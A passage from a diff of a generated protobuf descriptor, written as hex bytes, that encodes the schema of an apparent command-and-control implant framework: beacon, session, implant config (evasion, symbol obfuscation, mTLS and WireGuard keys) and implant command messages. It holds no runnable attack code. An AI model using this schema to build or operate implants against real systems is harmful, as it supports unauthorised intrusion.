0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, - 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, - 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, - 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, 0x06, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, - 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, - 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, - 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, - 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, - 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, - 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, - 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, - 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, - 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, - 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, - 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, - 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, - 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, - 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, - 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1c, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, - 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x07, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, 0x20, - 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, - 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x12, 0x2a, 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, - 0x53, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, - 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, - 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xfb, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, - 0x72, 0x76, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, - 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, - 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, - 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, - 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, - 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, - 0x6c, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, - 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, - 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, - 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0c, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x1e, - 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x18, 0x14, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, - 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x15, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, - 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x16, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, - 0x73, 0x4b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, - 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, - 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, - 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, - 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x19, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, - 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, - 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x1a, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, - 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, - 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, - 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, - 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, - 0x63, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xdf, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x12, 0x12, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x55, 0x73, 0x65, 0x72, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, + 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, + 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb5, 0x01, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, + 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, + 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, + 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, + 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, + 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, + 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, + 0xab, 0x01, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x48, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x34, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x6d, 0x61, + 0x6e, 0x64, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, + 0x61, 0x6e, 0x64, 0x52, 0x08, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x12, 0x2e, 0x0a, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x93, 0x05, + 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, + 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, + 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, + 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, + 0x02, 0x4f, 